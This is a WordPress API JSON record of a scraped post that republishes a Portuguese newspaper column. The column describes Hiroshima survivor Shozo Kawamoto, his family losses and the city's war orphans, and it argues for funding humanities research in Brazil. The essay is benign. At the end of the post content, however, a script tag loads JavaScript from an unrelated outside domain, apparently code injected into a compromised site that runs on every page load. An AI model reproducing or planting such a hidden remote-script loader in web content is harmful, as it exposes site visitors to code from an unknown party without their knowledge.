{"id":1993,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-que-um-sobrevivente-de-hiroshima-pode-ensinar-a-ciencia-brasileira-24-06-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"o-que-um-sobrevivente-de-hiroshima-pode-ensinar-a-ciencia-brasileira-24-06-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-que-um-sobrevivente-de-hiroshima-pode-ensinar-a-ciencia-brasileira-24-06-2022\/","title":{"rendered":"O que um sobrevivente de Hiroshima pode ensinar \u00e0 ci\u00eancia brasileira &#8211; 24\/06\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Shozo Kawamoto \u00e9 uma daquelas pessoas que atrav\u00e9s da narrativa de sua hist\u00f3ria nos ensina a costurar e a remendar a alma dilacerada pela perda e pela insuport\u00e1vel aus\u00eancia dos outros. Ele aprendeu a estancar uma ferida aberta, transformando-as em cicatrizes de lembran\u00e7a.<\/p>\n<p>Diante do horror dois s\u00e3o os caminhos mais comuns: aumentar nossa capacidade de reconhecer o sofrimento dos outros ou o embrutecimento anest\u00e9sico de si. Shozo me ensinou que as verdadeiras rugas da vida, n\u00e3o devem desaparecer, porque marcam n\u00e3o apenas uma experi\u00eancia de vida, mas o verg\u00e3o remendado do abismo que habita todos n\u00f3s.<\/p>\n<p>Agora que ele partiu, deixou a tarefa de continuarmos costurando. Permitir que suas lembran\u00e7as se entrelacem de forma sens\u00edvel com as nossas e assim jamais sejam esquecidas.<\/p>\n<p>Que seu legado prospere e toque delicadamente as almas daqueles que o escutam, e os amarrem com a linha mais resistente: aquela do sofrimento compartilhado. Compaix\u00e3o, <a href=\"https:\/\/www.uol.com.br\/vivabem\/noticias\/redacao\/2020\/12\/07\/empatia-o-que-e-e-como-desenvolver-para-melhorar-suas-relacoes.htm\">empatia<\/a> ou solidariedade, capaz de vencer a frieza indiferente.<\/p>\n<p>Conheci Kawamoto em janeiro de 2018 enquanto estava na cidade de Hiroshima realizando entrevistas com hibakushas para minha pesquisa de doutorado. O termo japon\u00eas significa sobrevivente do bombardeio at\u00f4mico.<\/p>\n<p>Logo de primeira, Kawamoto se prontificou a me encontrar quantas vezes fossem necess\u00e1rias para que sua mem\u00f3ria pudesse ser minuciosamente registrada e servir de apelo \u00e0 paz. Ao longo de v\u00e1rios encontros que tivemos, Kawamoto me contou suas mais \u00edntimas lembran\u00e7as acerca de antes, durante e de depois da guerra.<\/p>\n<p>Ele tinha apenas 10 anos em 6 de agosto de 1945, dia em que a <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/historia\/hiroshima-primeiro-ataque-atomico-da-historia-encerrou-a-2-guerra.htm\" target=\"_blank\" rel=\"noopener\">primeira bomba at\u00f4mica explodiu no c\u00e9u claro de ver\u00e3o de Hiroshima<\/a>. Somente naquele ano 145 mil pessoas dos seus 300 mil habitantes morreram.<\/p>\n<p>A fam\u00edlia de Kawamoto morava a 350 metros do marco zero, dentro da \u00e1rea completamente destru\u00edda pelas ondas de press\u00e3o e calor liberadas pela explos\u00e3o. Kawamoto havia sido evacuado para o interior juntamente com outras crian\u00e7as por ordem do governo japon\u00eas.<\/p>\n<p>Tr\u00eas dias depois sua irm\u00e3 mais velha veio busc\u00e1-lo e ele a recebeu entre ang\u00fastia e al\u00edvio. Ela trabalhava a 2 km do marco zero e foi soterrada pelo desabamento do pr\u00e9dio. Inc\u00eandios tomaram o centro de Hiroshima, quando ela chegou ao que antes era sua casa. S\u00f3 havia restos queimando.<\/p>\n<p>Ao remexer nos entulhos, identificou tr\u00eas restos mortais, de sua m\u00e3e e dos dois irm\u00e3os mais novos. Ajoelhou-se em uma prece ouvindo as vozes de outros vizinhos. Suplica por mais informa\u00e7\u00f5es e descobre que sua m\u00e3e escapara dos escombros a tempo de assistir a casa queimar com seus dois filhos dentro. O pai e outra irm\u00e3 trabalhavam muito pr\u00f3ximos do marco zero e teriam desaparecido sem deixar rastros.<\/p>\n<p>Kawamoto recorda que ap\u00f3s o final guerra grande parte da esta\u00e7\u00e3o de Hiroshima foi rapidamente reconstru\u00edda. Ali ele tinha um pequeno quarto, onde dividia a pequena marmita diariamente com sua irm\u00e3. Ali ele encontrava todo dia os \u00f3rf\u00e3os que a bomba deixou para tr\u00e1s, agradecendo sempre, silenciosamente, por ter uma irm\u00e3.<\/p>\n<p>Via os \u00f3rf\u00e3os revirando o lixo \u00e0 procura de comida, bebendo \u00e1gua turva de po\u00e7as no ch\u00e3o da rua, brigando como animais por migalhas de p\u00e3o. Nunca esqueceu a imagem dessas crian\u00e7as chupando pedras para enganarem o est\u00f4mago, comendo jornal molhado na \u00e1gua suja, morrendo de fome e tendo seus corpos cremados junto com o lixo.<\/p>\n<p>Seis meses depois da explos\u00e3o, sob efeitos da radia\u00e7\u00e3o, sua irm\u00e3 morreu e Kawamoto foi levado para um orfanato numa cidade pr\u00f3xima. Foi dado para o dono de uma grande companhia de shoyu, para quem trabalhava de domingo a domingo, 18 horas por dia em troca de comida e um lugar para dormir.<\/p>\n<p>Quando tinha 23 anos, se apaixonou por uma mo\u00e7a, mas a fam\u00edlia dela n\u00e3o permitiu o casamento por ele ser um hibakusha e, portanto, ter a doen\u00e7a da bomba. Desolado, decide retornar a Hiroshima, onde se junta ao grupo mafioso yakuza.<\/p>\n<p>Seguem-se anos de viol\u00eancia e morte. Novamente corpos de colegas sendo queimados com e como lixo. At\u00e9 o ponto que ele decide que n\u00e3o quer morrer em desonra na mesma cidade em que a fam\u00edlia morreu honradamente.<\/p>\n<p>Decide, mais uma vez, fugir com a roupa do corpo. Decide nunca casar ou ter filhos. Decide nunca mais falar de sua hist\u00f3ria ou de suas origens.<\/p>\n<p>Kawamoto vive assim at\u00e9 2005, quando um colega de escola o convida para um evento sobre 60 anos da explos\u00e3o at\u00f4mica. Brinco com Kawamoto dizendo que o amigo foi mais eficiente que o yakuza. Ele diz que era &#8220;c\u00e3o de briga&#8221; da m\u00e1fia, &#8220;baixo escal\u00e3o&#8221; e que ningu\u00e9m iria gastar tempo ou dinheiro para ir atr\u00e1s dele.<\/p>\n<p>O amigo s\u00f3 conseguiu localiz\u00e1-lo porque na d\u00e9cada de noventa os cadastros foram informatizados e ele precisou refazer seus registros.<\/p>\n<p>Algo transformador aconteceu quando ele percebe que ter sobrevivido, ser lembrado e ter uma hist\u00f3ria para contar significava algo.<\/p>\n<p>A explos\u00e3o apagou tudo: documentos, fotografias, objetos que provavam a exist\u00eancia das pessoas e fam\u00edlias. Sobraram apenas as pessoas e suas mem\u00f3rias. Sem elas, os outros, os que se foram, os que comiam pedras devido \u00e0 fome e os que trabalhavam como escravos jamais seriam lembrados. Suas exist\u00eancias seriam como se n\u00e3o tivessem acontecido<\/p>\n<p>O reencontro do antigo amigo o fez perceber que ele existia para algu\u00e9m, al\u00e9m de si mesmo:<\/p>\n<p><cite>Pude viver para saber que algu\u00e9m lembrou de mim. N\u00e3o achei que isso seria poss\u00edvel.&#8221;<\/cite><\/p>\n<p>Depois disso pode retornar a Hiroshima em 2006. Ficou surpreso com a cidade moderna que encontrara. Visitou o Museu Memorial da Paz de Hiroshima e ficou extremamente indignado ao perceber que a \u00fanica men\u00e7\u00e3o sobre os \u00f3rf\u00e3os era uma fotografia com uma breve legenda.<\/p>\n<p>Decidiu ent\u00e3o que dedicaria o resto da vida para contar a hist\u00f3ria dos \u00f3rf\u00e3os de Hiroshima.<\/p>\n<p>Em junho de 2022, aos 88 anos, depois de 16 anos trabalhando como volunt\u00e1rio no Museu Memorial da Paz de Hiroshima, Shozo Kawamoto descansou. Deixou para tr\u00e1s a tarefa de continuarmos costurando seu legado.<\/p>\n<p>Uma semana antes de nos despedirmos, ele disse que queria me dar um presente, um presente para mim e para as pessoas e institui\u00e7\u00f5es brasileiras. Recebi assim duas sacolinhas: uma com dobraduras de tsurus e uma com avi\u00f5ezinhos feitos de papel, guiados por pequenos tsurus.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/80\/2022\/06\/20\/tsuru-origami-dobradura-papel-japones-1655743757140_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Tsuru origami dobradura papel japon\u00eas - Daniel \u00c1lvasd\/ Unsplash - Daniel \u00c1lvasd\/ Unsplash\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Origami em formato de p\u00e1ssaro conhecido como tsuru<\/p>\n<p> <span>Imagem: Daniel \u00c1lvasd\/ Unsplash<\/span><\/figcaption><\/figure>\n<\/div>\n<p>O tsuru \u00e9 um legado deixado pela sobrevivente Sadako Sassaki, que tinha apenas dois anos no dia da explos\u00e3o at\u00f4mica em Hiroshima. Aos 12 anos foi diagnosticada com leucemia e acreditava que se dobrasse mil tsurus ela n\u00e3o morreria. Aqueles que sobreviveram a ela continuar\u00e3o dobrando estes pequenos origamis de papel, em forma de cisne, em nome dela.<\/p>\n<p>Um ato de solidariedade, resist\u00eancia e responsabilidade social para que nenhuma crian\u00e7a no mundo venha a morrer de novo daquela forma.<\/p>\n<p>O tsuru representa a esperan\u00e7a de um mundo sem guerras, no qual as crian\u00e7as possam ser crian\u00e7as, e que possam desejar mais do que sobreviver.<\/p>\n<p>Kawamoto diz que durante a guerra n\u00e3o havia brinquedos e o papel era precioso. De vez em quando sua m\u00e3e conseguia algumas folhas de papel escondida e dobrava avi\u00f5es para os filhos brincarem. Pedia que os escondessem para evitar repreens\u00f5es.<\/p>\n<p>O avi\u00e3o de papel \u00e9 o legado da sua m\u00e3e. Uma mulher no meio da guerra fez brinquedos para os filhos, porque n\u00e3o esqueceu que crian\u00e7as precisavam brincar. Quando foi necess\u00e1rio, jogou-se no fogo para que dois filhos n\u00e3o morressem sozinhos. Os avi\u00f5es de papel pilotados por tsurus eram uma forma de unir o legado t\u00e3o singular de sua pr\u00f3pria m\u00e3e com o legado coletivo de Sadako.<\/p>\n<p>Cristiane Nakagawa n\u00e3o conseguiu rever Shozo Kawamoto. Sua pesquisa de p\u00f3s-doutorado previa um reencontro e uma nova hist\u00f3ria.<\/p>\n<p>Lutamos com todas as for\u00e7as para que o financiamento de pesquisa permitisse isso, mas esta segunda hist\u00f3ria jamais ser\u00e1 contada.<\/p>\n<p>A hist\u00f3ria de Shozo nos ajuda a entender como nossa pr\u00f3pria popula\u00e7\u00e3o brasileira, t\u00e3o distante da cultura japonesa, pode aprender algo sobre a arte da sobreviv\u00eancia, em meio ao exterm\u00ednio ind\u00edgena, perif\u00e9rico, negro que vivemos.<\/p>\n<p>A bomba at\u00f4mica \u00e9 tamb\u00e9m aqui e agora, desde que consigamos aprender como ela devasta vidas e como vidas se reconstroem por meio da mem\u00f3ria e do fio condutor do sofrimento.<\/p>\n<p>Muitos pensam que as pesquisas em ci\u00eancias humanas podem ser indefinidamente adiadas, que seu financiamento \u00e9 menos importante do que as \u00e1reas que rendem retorno social, em termos de tecnologia e inova\u00e7\u00e3o.<\/p>\n<p>Outros sofreram durante o governo Bolsonaro com cortes que fizeram perder produtos biol\u00f3gicos, investiga\u00e7\u00f5es longitudinais ou estudos demogr\u00e1ficos que dependem da continuidade de anos e d\u00e9cadas.<\/p>\n<p>H\u00e1 esp\u00e9cies em extin\u00e7\u00e3o que n\u00e3o t\u00eam tempo para esperar por sua pr\u00f3pria sorte administrativa.<\/p>\n<p>Diminuir o investimento em pesquisa cient\u00edfica pode parecer algo fortuito, entre tantas outras demandas sociais.<\/p>\n<p>Contudo, em meio ao retrocesso vivido nestes \u00faltimos quatro anos, ainda h\u00e1 espa\u00e7o para lembrar que h\u00e1 coisas irrevers\u00edveis, que o tempo dos cortes, da austeridade e da inefici\u00eancia pode ser letal, para o tempo real da vida e da morte.<\/p>\n<p>\u00c9 neste tempo que acontece a pesquisa real, onde podemos pensar e realizar as transforma\u00e7\u00f5es que realmente queremos.<\/p>\n<p><em>* Colaborou Cristiane Nakagawa, p\u00f3s-doutoranda do Instituto de Psicologia da USP, especialista em sobreviventes dos ataques nucleares ao Jap\u00e3o.<\/em><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/blog-do-dunker\/2022\/06\/24\/sobrevivente-ataque-nuclear-bomba-atomica-hiroshima-memoria-lembranca-dor.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Shozo Kawamoto \u00e9 uma daquelas pessoas que atrav\u00e9s da narrativa de sua hist\u00f3ria nos ensina a costurar e a remendar a alma dilacerada pela perda e pela insuport\u00e1vel aus\u00eancia dos outros. Ele aprendeu a estancar uma ferida aberta, transformando-as em cicatrizes de lembran\u00e7a. Diante do horror dois s\u00e3o os caminhos mais comuns: aumentar nossa capacidade&#8230;<\/p>\n","protected":false},"author":1,"featured_media":1994,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[547,86,3604,3603,75,3602],"class_list":["post-1993","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-brasileira","tag-ciencia","tag-ensinar","tag-hiroshima","tag-pode","tag-sobrevivente"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1993"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1993\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/1994"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}